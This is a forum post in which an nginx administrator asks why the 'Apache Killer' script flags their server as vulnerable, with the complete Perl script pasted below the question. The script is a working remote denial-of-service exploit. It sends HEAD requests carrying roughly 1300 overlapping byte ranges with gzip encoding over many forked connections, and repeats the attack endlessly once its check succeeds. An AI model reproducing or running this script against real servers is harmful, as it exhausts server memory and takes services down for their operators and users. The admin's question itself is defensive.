Hi, I am running nginx 1.0.11 standalone. Recently someone told me that my server is vulnerable to apache killer attack because when he run the following script, it shows "host seems vuln". I searched on this forum and found that "First of all, nginx doesn't favor HEAD requests with compression, so the exact mentioned attack doesn't work against a standalone nginx installation." Also, I checked the source file "src/http/modules/ngx_http_range_filter_module.c", I think it should have been patched to prevent handling malicious range requests. Any idea why it still shows "host seems vuln"? Thanks a lot!
----------------------------------------------------------------- killapache script ---------------------------------------------------------------
use IO::Socket;
use Parallel::ForkManager;
sub usage {
print "Apache Remote Denial of Service (memory exhaustion)\n";
print "by Kingcope\n";
print "usage: perl killapache.pl <host> [numforks]\n";
print "example: perl killapache.pl www.example.com 50\n";
}
sub killapache {
print "ATTACKING $ARGV[0] [using $numforks forks]\n";
$pm = new Parallel::ForkManager($numforks);
$|=1;
srand(time());
$p = "";
for ($k=0;$k<1300;$k++) {
$p .= ",5-$k";
}
for ($k=0;$k<$numforks;$k++) {
my $pid = $pm->start and next;
$x = "";
my $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
PeerPort => "80",
Proto => 'tcp');
$p = "HEAD / HTTP/1.1\r\nHost: $ARGV[0]\r\nRange:bytes=0-$p\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n";
print $sock $p;
while(<$sock>) {
}
$pm->finish;
}
$pm->wait_all_children;
print ":pPpPpppPpPPppPpppPp\n";
}
sub testapache {
my $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
PeerPort => "80",
Proto => 'tcp');
$p = "HEAD / HTTP/1.1\r\nHost: $ARGV[0]\r\nRange:bytes=0-$p\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n";
print $sock $p;
$x = <$sock>;
if ($x =~ /Partial/) {
print "host seems vuln\n";
return 1;
} else {
return 0;
}
}
if ($#ARGV < 0) {
usage;
exit;
}
if ($#ARGV > 1) {
$numforks = $ARGV[1];
} else {$numforks = 50;}
$v = testapache();
if ($v == 0) {
print "Host does not seem vulnerable\n";
exit;
}
while(1) {
killapache();
}
